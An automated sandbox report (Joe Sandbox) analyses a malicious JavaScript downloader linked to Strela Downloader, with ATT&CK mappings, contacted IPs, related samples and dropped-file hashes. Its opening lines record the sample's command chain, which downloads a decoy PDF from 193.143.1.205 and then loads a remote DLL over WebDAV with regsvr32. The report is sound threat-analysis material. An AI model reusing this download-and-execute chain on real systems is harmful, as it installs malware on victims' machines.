Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	14 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
44742054371077666.js	5%	Virustotal		Browse
44742054371077666.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/s	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high
https://chrome.cloudflare-dns.com/dns-query	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3379040728.00000208D1284000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2142411445.00000208D1090000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2142159287.0000025B58A98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142247830.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/c	net.exe, 00000007.00000003.2140839482.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142247830.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/s	net.exe, 00000007.00000003.2140839482.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142247830.0000025B58ACA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true
172.64.41.3	chrome.cloudflare-dns.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587749
Start date and time:	2025-01-10 17:39:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	44742054371077666.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/3
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 184.28.90.27, 2.22.50.144, 2.22.50.131, 23.209.209.135, 2.16.168.105, 2.16.168.107, 142.251.41.3, 142.251.32.99, 104.126.112.182, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, www.gstatic.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:40:35	API Interceptor	21x Sleep call for process: powershell.exe modified
11:40:38	API Interceptor	1x Sleep call for process: net.exe modified
11:40:38	API Interceptor	2x Sleep call for process: svchost.exe modified
11:40:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
172.64.41.3	https://www.axis.com/ftp/pub_soft/cam_srv/IPUtility/latest/AxisIPUtilitySetup.exe	Get hash	malicious	Unknown	Browse
	https://sanctionssearch.ofac.treas.gov	Get hash	malicious	Unknown	Browse
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse
	https://bryf.atchirlisc.ru/EeMAGvIe/	Get hash	malicious	HTMLPhisher	Browse
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse
	https://combatironapparel.com/collections/ranger-panty-shorts	Get hash	malicious	Unknown	Browse
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse
	cLm7ThwEvh.msi	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	https://www.axis.com/ftp/pub_soft/cam_srv/IPUtility/latest/AxisIPUtilitySetup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://sanctionssearch.ofac.treas.gov	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://downloads.jam-software.de/ultrasearch/UltraSearch-Setup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://bryf.atchirlisc.ru/EeMAGvIe/	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://combatironapparel.com/collections/ranger-panty-shorts	Get hash	malicious	Unknown	Browse	162.159.61.3
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	cLm7ThwEvh.msi	Get hash	malicious	Unknown	Browse	172.64.41.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	104.16.40.28
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.80.1
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	MtxN2qEWpW.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	8nkdC8daWi.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	b5JCISnBV1.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
BITWEB-ASRU	124651728043662978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307249081328026
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugL:gJjJGtpTq2yv1AuNZRY3diu8iBVqFB
MD5:	EFC400AB67EC7C099DB24D35272BF6F8
SHA1:	B7263639D5A63A6E6CA27111B690BBD2E25E67DD
SHA-256:	5254452E78D2A9F03EDC06649FD4B2C3D9E6888C6B419A932072707FF96DEBD6
SHA-512:	C1E01CF473287F8A8C4C607B5079CBF79854C2A85D28D52A3DE78EBED8E4F1AE9D50752411724DA019A03BB44E3F13ED0C75996C857A8A7EC19ABBCE990FC73D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf516c1cc, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586057676371917
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	42CF210C7B62B929E4AC1BB3F965CF93
SHA1:	3EB66D1155C1978B148B053809EA4A5B59DA3177
SHA-256:	DADEBF3EA6E3078671087B552AC324DED3EB0E2021B361C5DC78F17E2596DEA8
SHA-512:	F65A7E98E047ECCB406F87435FA271DA2AD837A6DE33D3D682661489D5CABB08BD8DBADC5DF0584BBEDFF2812B4FF9F9EA4CE1466FBA1A6B2F102664FBF5560F
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{..'(...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................p...'(...}..................a.v.'(...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08120851658935217
Encrypted:	false
SSDEEP:	3:bXEYe1vkZvwytGuAJkhvekl1MrkR0vltAllrekGltll/SPj:4z18LtrxlEkRitAJe3l
MD5:	C8C505B94E0A501ED149A4423828E718
SHA1:	07E78B925205CA95D673458A7EDC659A2E7C4B25
SHA-256:	6412F33953FCD51CBDC997336D09E61069DD3D99B840A19D7093AB00344406EE
SHA-512:	C09D1AF773E74A3A1A2FBBB506F03C5C128C2CCB7CC13232F96D5328A2D146D588C891A776C9334F9A044F1BE4810B0D3B24E938578E5F835CB57BDC542A3F48
Malicious:	false
Preview:	..\V.....................................;...{..'(...}.......{...............{.......{...XL......{..................a.v.'(...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.168512075103891
Encrypted:	false
SSDEEP:	6:iO4iapzVq2P92nKuAl9OmbnIFUtSiapPgZmwsiapPIkwO92nKuAl9OmbjLJ:7cv4HAahFUtv/v5LHAaSJ
MD5:	C2629876270711DE07E4859D9902A424
SHA1:	2E7895E269C4E97EFB5228B736C3A3127FC9CDA9
SHA-256:	2CD9C724EED17D8D1EB817749D0A5AFB07782E08EDFC4C1B213239AFB7655259
SHA-512:	984EE6EF544BDDD56CE9956F0CC8BDBCB99BF34B3D272F37267B0CD56E6BC36B3812543BD88D0925EC2F0F155F0298DA757AD06520EFBC30A748574262D88835
Malicious:	false
Preview:	2025/01/10-11:40:38.870 1870 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:40:38.874 1870 Recovering log #3.2025/01/10-11:40:38.874 1870 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.168512075103891
Encrypted:	false
SSDEEP:	6:iO4iapzVq2P92nKuAl9OmbnIFUtSiapPgZmwsiapPIkwO92nKuAl9OmbjLJ:7cv4HAahFUtv/v5LHAaSJ
MD5:	C2629876270711DE07E4859D9902A424
SHA1:	2E7895E269C4E97EFB5228B736C3A3127FC9CDA9
SHA-256:	2CD9C724EED17D8D1EB817749D0A5AFB07782E08EDFC4C1B213239AFB7655259
SHA-512:	984EE6EF544BDDD56CE9956F0CC8BDBCB99BF34B3D272F37267B0CD56E6BC36B3812543BD88D0925EC2F0F155F0298DA757AD06520EFBC30A748574262D88835
Malicious:	false
Preview:	2025/01/10-11:40:38.870 1870 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:40:38.874 1870 Recovering log #3.2025/01/10-11:40:38.874 1870 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.120296577130578
Encrypted:	false
SSDEEP:	6:iO4ivFN9+q2P92nKuAl9Ombzo2jMGIFUtSiK5ZmwsiKtVkwO92nKuAl9Ombzo2jz:7tN4v4HAa8uFUtk5/eT5LHAa8RJ
MD5:	EA7B9DA221C622263FE63B8AB91D1635
SHA1:	B7143660BFF6C2A1F659DB7A822B49D1DB64C457
SHA-256:	D259C6BAFAF173A33F2A0F2CD5621D147FC64DCB8A4D2F82226F2C3CB73C8DFC
SHA-512:	AEA41201F697C90CC0095A4933AF135CC851AD7ADA7DF30F6515678B1EE8252B417C011CF8CA16307AC9239A6E3E018696FE2BE30D48C4364EF31BD71D21176A
Malicious:	false
Preview:	2025/01/10-11:40:39.020 ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:40:39.023 ea8 Recovering log #3.2025/01/10-11:40:39.023 ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.120296577130578
Encrypted:	false
SSDEEP:	6:iO4ivFN9+q2P92nKuAl9Ombzo2jMGIFUtSiK5ZmwsiKtVkwO92nKuAl9Ombzo2jz:7tN4v4HAa8uFUtk5/eT5LHAa8RJ
MD5:	EA7B9DA221C622263FE63B8AB91D1635
SHA1:	B7143660BFF6C2A1F659DB7A822B49D1DB64C457
SHA-256:	D259C6BAFAF173A33F2A0F2CD5621D147FC64DCB8A4D2F82226F2C3CB73C8DFC
SHA-512:	AEA41201F697C90CC0095A4933AF135CC851AD7ADA7DF30F6515678B1EE8252B417C011CF8CA16307AC9239A6E3E018696FE2BE30D48C4364EF31BD71D21176A
Malicious:	false
Preview:	2025/01/10-11:40:39.020 ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:40:39.023 ea8 Recovering log #3.2025/01/10-11:40:39.023 ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a3d3749-84d9-496c-baee-c265b4f6afc4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.04951288008398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq33SsBdOg2Hicaq3QYiubxnP7E4T3OF+:Y2sRdsYHdMHt3QYhbxP7nbI+
MD5:	5F191016A017702DF9596B40B7F41500
SHA1:	DD1A4698DC00627F7EFE0A2E0E7B0F285AB8383C
SHA-256:	2F1AC7E82534F18F6BAAEFD2A9249A26CE65D53A11455484DC95D436D30A7505
SHA-512:	15BF9EEF53CEAE366FFC55CA18D76EE4F16DC021B13555B7DE9793F358C673922873AAACCA62FCE2517B9C0127E20367B3780542915B500789466F42FE21F818
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087251362613","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125242},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.04951288008398
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq33SsBdOg2Hicaq3QYiubxnP7E4T3OF+:Y2sRdsYHdMHt3QYhbxP7nbI+
MD5:	5F191016A017702DF9596B40B7F41500
SHA1:	DD1A4698DC00627F7EFE0A2E0E7B0F285AB8383C
SHA-256:	2F1AC7E82534F18F6BAAEFD2A9249A26CE65D53A11455484DC95D436D30A7505
SHA-512:	15BF9EEF53CEAE366FFC55CA18D76EE4F16DC021B13555B7DE9793F358C673922873AAACCA62FCE2517B9C0127E20367B3780542915B500789466F42FE21F818
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381087251362613","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125242},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239589884960657
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUA0mIg:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLh
MD5:	3D4536823969FA7363ABF7AB44BA43DF
SHA1:	1A6536C14D58453004C8E5E3ABF3AEA8594F3580
SHA-256:	8D6DCF44B235E1BE22950F149AA64C0C125F5AFF04B30F571DF20A138ADA82D6
SHA-512:	1F47C5835AF253245033CF4C0F4DA58DD87EB48369EF7AEE4716A7E96C7DC492F44C94BA3F7610B2E820124364975B254AD8036CEF7B4EF1E906E07E4B36691B
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.156274832187339
Encrypted:	false
SSDEEP:	6:iO4in9+q2P92nKuAl9OmbzNMxIFUtSisZmwsiwrVkwO92nKuAl9OmbzNMFLJ:7Iv4HAa8jFUta/0x5LHAa84J
MD5:	532C1168B53EDCD032F58EAF1CD65B8F
SHA1:	145F34E4F54A9DA0544E07E996FA4CBBD26521E4
SHA-256:	200E900E6418CF3DBD6C8425C32F2B63A3FAE9517045E0AE8955CA8D33A8901E
SHA-512:	8EEECFDBD55D610AF924B81B43D7B68D6495E9A771B5AB266F8F4C4EAF13F2A9489CD908A9DBC9558F0AA371E64364CF0B5EBF2AF4843EEC8C9E4FA93AC9AC52
Malicious:	false
Preview:	2025/01/10-11:40:39.815 ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:40:39.821 ea8 Recovering log #3.2025/01/10-11:40:39.834 ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.156274832187339
Encrypted:	false
SSDEEP:	6:iO4in9+q2P92nKuAl9OmbzNMxIFUtSisZmwsiwrVkwO92nKuAl9OmbzNMFLJ:7Iv4HAa8jFUta/0x5LHAa84J
MD5:	532C1168B53EDCD032F58EAF1CD65B8F
SHA1:	145F34E4F54A9DA0544E07E996FA4CBBD26521E4
SHA-256:	200E900E6418CF3DBD6C8425C32F2B63A3FAE9517045E0AE8955CA8D33A8901E
SHA-512:	8EEECFDBD55D610AF924B81B43D7B68D6495E9A771B5AB266F8F4C4EAF13F2A9489CD908A9DBC9558F0AA371E64364CF0B5EBF2AF4843EEC8C9E4FA93AC9AC52
Malicious:	false
Preview:	2025/01/10-11:40:39.815 ea8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:40:39.821 ea8 Recovering log #3.2025/01/10-11:40:39.834 ea8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
